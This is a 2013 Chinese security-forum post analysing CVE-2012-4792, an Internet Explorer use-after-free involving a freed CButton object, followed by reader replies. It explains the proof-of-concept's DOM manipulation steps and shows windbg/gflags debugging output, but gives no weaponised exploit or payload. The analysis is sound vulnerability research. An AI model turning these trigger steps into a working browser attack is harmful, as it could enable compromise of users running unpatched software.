首页
社区
课程
招聘
[原创]CVE-2012-4792漏洞分析
发表于: 2013-6-7 03:41 6454

[原创]CVE-2012-4792漏洞分析

2013-6-7 03:41
6454

看了各大网站对于该漏洞的分析不够清晰,所以花了大力气分析了一下,其中有不当的地方大家可以指导指导,小弟是菜鸟。
接下来上菜。
过几天上一个完整版本。

CVE-2012-4792 分析
原始病毒

一、对于 POC 的一点解释
首先给出该 CVE 的 poc

首先解释一下上面一段 js 代码的作用:
e0=form
e1=dfn
e2=q
e1.applyElement(e2);//相当于把 e2 作为 e1 的父亲即 q->dfn
e1.appendChild(document.createElement('button'));//相当于把 button 作为 e1 的孩子
即 q->dfn->button
e1.applyElement(e0);//相当于把 form 作为 q 的父亲,即 q->form->dfn->button,构造好的对象如图 1 所示。

图 1 构造好的对象

e2.outerText = "";//相当于删除了 q 里面所有的东西,这样 q 下面所有的东西也被删除了,如
图 2 所示。

图 2 执行 e2.outerText = ""之后的情况

e2.appendChild(document.createElement('body'));//在 q 下面加一个 body 即:q->body 如图 3 所示。


既然该漏洞为 use after free,那么 free 在这里就是指的 e2.outerText = "",该条语句意味着删除了 q 里面的所有的东东,而 use 在这里不是很容易理解(这里可以提前透露一下,因为e2.outerText = ""执行过之后需要找一个默认的元素,在寻找默认的元素的时候,因为在释放之前最后一次创建的对象是一个 button,所以把已经释放的 button 给找出来了,这样就用了一个已经释放的对象),我们接下来分析汇编层次是怎样的。

二、分析触发的深层原因
将该段代码保存为 t.html 放在桌面。
接下来,我们来运行这段 poc,看看问题究竟出在哪里?

0. 准备工作—磨刀霍霍

在检测 IE 哪里出问题之前,我们需要设置一下调试工具。
Tips: gflags.exe 是<Debugging Tools for Windows>中的一个小工具。

首先我们需要设置 gflags,进入 windbg 的安装目录,输入如下命令

gflags  /i  iexplore.exe
gflags  /i  +ust  +hpa  iexplore.exe
windbg -g -G -o "C:\Program Files\Internet Explorer\iexplore.exe" "C:\Documents andSettings\dx\桌面\t.html"
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=066bafa8 ebx=067d8f30 ecx=00000052 edx=00000000 esi=00000000 edi=066bafa8
eip=637848ae esp=03f7f838 ebp=03f7f8a4 iopl=0           nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000                 efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef: 
637848ae 8b07    mov      eax,dword ptr [edi]    ds:0023:066bafa8=????????
!heap –p –a edi
address 066bafa8 found in
_DPH_HEAP_ROOT @ 151000
in free-ed allocation (  DPH_HEAP_BLOCK:           VirtAddr           VirtSize)
662d888:             66ba000                 2000
7c947573 ntdll!RtlFreeHeap+0x000000f9
639943ef mshtml!CButton::`vector deleting destructor'+0x0000002f
63628a50 mshtml!CBase::SubRelease+0x00000022
63640d1b mshtml!CElement::PrivateRelease+0x00000029
6363d0ae mshtml!PlainRelease+0x00000025
63663c03 mshtml!PlainTrackerRelease+0x00000014
633a10b4 jscript!VAR::Clear+0x0000005c
6339fb4a jscript!GcContext::Reclaim+0x000000ab
6339fd33 jscript!GcContext::CollectCore+0x00000113
63405594 jscript!JsCollectGarbage+0x0000001d
633a92f7 jscript!NameTbl::InvokeInternal+0x00000137
633a6650 jscript!VAR::InvokeByDispID+0x0000017c
633a9c0b jscript!CScriptRuntime::Run+0x00002989
633a5ab0 jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff
633a59f7 jscript!ScrFncObj::Call+0x0000008f
633a5743 jscript!CSession::Execute+0x00000175
kv
ChildEBP RetAddr  Args to Child
03f7f8a4 635c378b 05380fc0 052266bc 052266a8 mshtml!CMarkup::OnLoadStatusDone+0x4ef
03f7f8c4 635c3e16 00000004 03f7fd4c 00000007 mshtml!CMarkup::OnLoadStatus+0x47
03f7fd10 636553f8 0539af48 00000000 00000007 mshtml!CProgSink::DoUpdate+0x52f
03f7fd24 6364de62 0539af48 0539af48 051d2d58 mshtml!CProgSink::OnMethodCall+0x12
03f7fd58 6363c3c5 03f7fde0 6363c317 00000000 mshtml!GlobalWndOnMethodCall+0xfb
03f7fd78 77d18734 000d021e 0000000d 00000000 mshtml!GlobalWndProc+0x183
03f7fda4 77d18816 6363c317 000d021e 00008002 USER32!InternalCallWinProc+0x28
03f7fe0c 77d189cd 00000000 6363c317 000d021e USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])
03f7fe6c 77d18a10 03f7fe94 00000000 03f7feec USER32!DispatchMessageWorker+0x306 (FPO:[Non-Fpo])
03f7fe7c 028e2ec9 03f7fe94 00000000 034c9f58 USER32!DispatchMessageW+0xf (FPO: [1,0,0]) 
03f7feec          028848bf          049fd808          01000002          03ab4ff0
IEFRAME!CTabWindow::_TabWindowThreadProc+0x461 (FPO: [1,22,4])
03f7ffa4 5de05a60 034c9f58 03aa8078 03f7ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO:[1,40,4])
03f7ffb4 7c80b729 03ab4ff0 01000002 03aa8078 iertutil!CIsoScope::RegisterThread+0xab (FPO:[1,0,4])
03f7ffec 00000000 5de05a52 03ab4ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO:[Non-Fpo])

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 5
支持
分享
最新回复 (14)
雪    币: 1025
活跃值: (239)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
非常的感谢啊支持
2013-6-7 08:16
0
雪    币: 967
活跃值: (1138)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
3
不错,最近我也在搞这方面的
2013-6-7 08:23
0
雪    币: 3171
活跃值: (76)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
4
分析的不错,再接再厉。错别字貌似有那么几个。。。
2013-6-7 14:07
0
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
分析的非常好!赞赞赞,学习学习学习
2013-6-7 14:55
0
雪    币: 7
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
思路清晰,学习了。。。
2013-6-8 10:15
0
雪    币: 1149
活跃值: (888)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
7
分析的不错,思路清晰..
2013-6-9 10:27
0
雪    币: 1585
活跃值: (182)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
友情支持一个,分析很仔细
2013-6-9 15:40
0
雪    币: 80
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
还不懂这些,先收藏起来看看
2013-6-10 16:11
0
雪    币: 29
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
非常感谢,我定好好学习。
2013-6-14 11:03
0
雪    币: 680
活跃值: (68)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
11
大牛哇,学习之
2013-7-20 11:00
0
雪    币: 249
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
12
看了以后收获很挺大的!!!!谢谢分享!
2013-7-27 15:36
0
雪    币: 93
活跃值: (57)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
13
不错啊,下了看看,支持。
2013-7-31 09:50
0
雪    币: 230
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
14
狠狠滴学习一下。
2013-10-21 21:58
0
雪    币: 81
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
mark ~~
2013-10-21 22:38
0
游客
登录 | 注册 方可回帖
返回
//